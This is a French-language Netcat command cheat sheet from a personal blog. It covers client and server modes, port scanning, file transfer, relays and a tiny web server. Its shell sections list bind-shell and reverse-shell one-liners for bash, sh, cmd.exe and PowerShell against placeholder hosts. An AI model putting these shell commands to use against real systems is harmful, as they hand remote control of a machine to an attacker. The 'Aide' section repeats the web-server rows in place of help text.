MATHÉO GENSSE

BLOG.MATHEOGENSSE.FR

COMMANDES

Netcat

DERNIÈRE MODIFICATION LE

3 mai 2026

https://www.linkedin.com/in/math%C3%A9o-gensse-92812326b/

-

matheogensse.fr
blog.matheogensse.fr
portfolio.matheogensse.fr

SOMMAIRE

MODE CLIENT

Commande	Description
nc <hôte> <port>	Se connecter à un serveur TCP
nc -u <hôte> <port>	Mode client UDP
nc -4 <hôte> <port>	Forcer l'utilisation d'IPv4
nc -6 <hôte> <port>	Forcer l'utilisation d'IPv6

MODE SERVEUR

Commande	Description
nc -l -p <port>	Écouter sur un port (serveur TCP)
nc -l -u -p <port>	Mode serveur UDP
nc -l -p <port> -k	Garder le serveur actif après déconnexion
nc -l <port>	Écouter sans -p (certaines versions)
nc -l -p <port> -s <IP>	Spécifier l'adresse IP source

COMMANDES DE NETCAT

TRANSFERT DE SHELLS (BIND SHELL)

Commande	Description
nc -l -p <port> -e /bin/bash	Bind shell Linux (bash)
nc -l -p <port> -e /bin/sh	Bind shell Linux (sh)
nc -l -p <port> -e /bin/dash	Bind shell Linux (dash)
nc -l -p <port> -e cmd.exe	Bind shell Windows
nc -l -p <port> -e powershell.exe	Bind shell Windows (PowerShell)

COMMANDES DE NETCAT

TRANSFERT DE SHELLS (REVERSE SHELL)

Commande	Description
nc <hôte> <port> -e /bin/bash	Reverse shell Linux
nc <hôte> <port> -e /bin/sh	Reverse shell Linux (sh)
nc <hôte> <port> -e cmd.exe	Reverse shell Windows
nc <hôte> <port> -e powershell.exe	Reverse shell Windows (PowerShell)
nc -e /bin/bash <hôte> <port>	Syntaxe alternative (OpenBSD)

SCAN DE PORTS

Commande	Description
nc -z <hôte> <port>	Scan TCP (détecter si un port est ouvert)
nc -z <hôte> <début-fin>	Scan d'une plage de ports TCP
nc -zv <hôte> <port>	Scan de port avec mode verbeux
nc -zv -w 1 <hôte> <début-fin>	Scan rapide avec timeout court
nc -uz <hôte> <port>	Scan UDP (moins fiable)
nc -vnz <hôte> <port>	Scan sans DNS + verbose + zéro I/O

COMMANDES DE NETCAT

TRANSFERT DE FICHIERS

Commande	Description
nc -l -p <port> < <fichier>	Serveur envoyant un fichier
nc <hôte> <port> > <fichier>	Client recevant un fichier
nc -l -p <port> > <fichier>	Serveur recevant un fichier
nc <hôte> <port> < <fichier>	Client envoyant un fichier
cat <fichier> | nc <hôte> <port>	Envoyer avec pipe (alternative)
nc -l -p <port> | tar -xzv	Recevoir et décompresser un tar.gz
tar -czv | nc <hôte> <port>	Envoyer un dossier compressé

CHAT EN LIGNE

Commande	Description
nc -l -p <port>	Serveur de chat
nc <hôte> <port>	Client de chat

COMMANDES DE NETCAT

PIPING & REDIRECTION

Commande	Description
nc -l -p <port> | <commande>	Pipe la sortie reçue vers une commande
<commande> | nc <hôte> <port>	Envoyer la sortie d'une commande
nc -l -p <port> | /bin/bash	Serveur shell via pipe (reverse pipe)
nc -l -p <port> -c <commande>	Exécuter une commande après connexion (certaines versions)

OPTIONS GÉNÉRALES

Commande	Description
nc -v <hôte> <port>	Mode verbeux (afficher les détails)
nc -vv <hôte> <port>	Mode très verbeux
nc -w <secondes> <hôte> <port>	Timeout en secondes
nc -n <hôte> <port>	Désactiver la résolution DNS
nc -q <secondes> <hôte> <port>	Quitter après un délai (Linux)
nc -i <secondes> <hôte> <port>	Délai entre les lignes envoyées
nc -p <port> (client)	Spécifier le port source (certaines versions)
nc -s <IP> <hôte> <port>	Spécifier l'adresse IP source
nc -b	Autoriser les broadcasts (UDP)
nc -C	Envoyer CR+LF comme fin de ligne (HTTP)
nc -r	Randomiser les ports de source
nc -t	Telnet comme protocole de base (Linux)
nc -O <size>	Taille du buffer de réception (Linux)
nc -I <size>	Taille du buffer d'envoi (Linux)

PROXY & RELAIS

Commande	Description
nc -l -p <port1> | nc <target> <port2>	Pipe forward (relais basique)
mkfifo pipe; nc -l -p <port1> < pipe | nc <target> <port2> > pipe	Relais bidirectionnel (avec FIFO)
nc -l -p <port> -c "nc <target> <port>"	Proxy basique (certaines versions)

SERVEUR WEB LÉGER

Commande	Description
echo -e "HTTP/1.1 200 OK\nContent-Length: 12\n\nHello World" | nc -l -p 80	Mini serveur web
while true; do { echo -e "HTTP/1.1 200 OK\n\n$(date)"; } | nc -l -p 8080; done	Serveur web dynamique (date)

AIDE

Commande	Description
echo -e "HTTP/1.1 200 OK\nContent-Length: 12\n\nHello World" | nc -l -p 80	Mini serveur web
while true; do { echo -e "HTTP/1.1 200 OK\n\n$(date)"; } | nc -l -p 8080; done	Serveur web dynamique (date)